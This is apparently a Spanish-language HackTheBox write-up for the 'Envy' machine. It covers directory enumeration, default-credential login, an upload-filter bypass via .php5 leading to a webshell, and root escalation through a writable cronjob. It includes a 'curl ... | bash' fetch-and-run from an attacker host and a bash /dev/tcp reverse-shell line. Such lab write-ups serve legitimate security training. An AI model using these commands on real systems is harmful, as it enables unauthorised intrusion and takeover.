HackTheBox
Medium
Linux
Web
File Upload
dirsearch
Envy
Enumeración web con dirsearch revela panel admin y directorio de uploads. Bypass de restricciones de subida de archivos para obtener RCE.
Jun 2023
~60 min
cat4clysm
Herramientas utilizadas
nmap
dirsearch
burp suite
netcat
linpeas
Reconocimiento
Enumeración de directorios con dirsearch sobre el servicio HTTP:
root@kali:~$
dirsearch -x 404,403,505 -u http://10.10.110.101
301 http://10.10.110.101/admin → /admin/
302 http://10.10.110.101/admin/ → /admin/login.php
200 http://10.10.110.101/admin/login.php
200 http://10.10.110.101/config.php
200 http://10.10.110.101/modules/
200 http://10.10.110.101/uploads/
200 http://10.10.110.101/tmp/
/uploads/ accesible públicamente y /config.php devuelve respuesta vacía — posiblemente legible.
Acceso al panel admin
Probamos credenciales por defecto en /admin/login.php:
admin : admin ✗
admin : password ✗
admin : admin123 ✓
El panel tiene funcionalidad de subida de archivos. Intentamos subir una webshell PHP — el servidor bloquea la extensión .php. Bypass con extensión doble:
shell.php.jpg → bloqueado
shell.pHp → bloqueado
shell.php5 → aceptado
root@kali:~$
curl "http://10.10.110.101/uploads/shell.php5?cmd=id"
uid=33(www-data) gid=33(www-data)
Escalada de privilegios
Subimos LinPEAS para enumerar vectores de escalada:
# Servidor en nuestra máquina
python3 -m http.server 8000
# En la shell de www-data
curl http://LHOST:8000/linpeas.sh | bash
LinPEAS encuentra credenciales en config.php y un cronjob ejecutado como root:
* * * * * root /opt/maintenance.sh
El script es escribible — añadimos una reverse shell:
echo "bash -i >& /dev/tcp/LHOST/5555 0>&1" >> /opt/maintenance.sh
nc -lvnp 5555
whoami
root
Lecciones aprendidas
- El bypass de extensiones de archivo es fundamental —
.php5,.phtml,.pharfrecuentemente no están en la blacklist. - Los cronjobs ejecutados como root con scripts escribibles son vectores de escalada muy comunes.
- LinPEAS automatiza la enumeración de post-explotación de forma muy eficiente.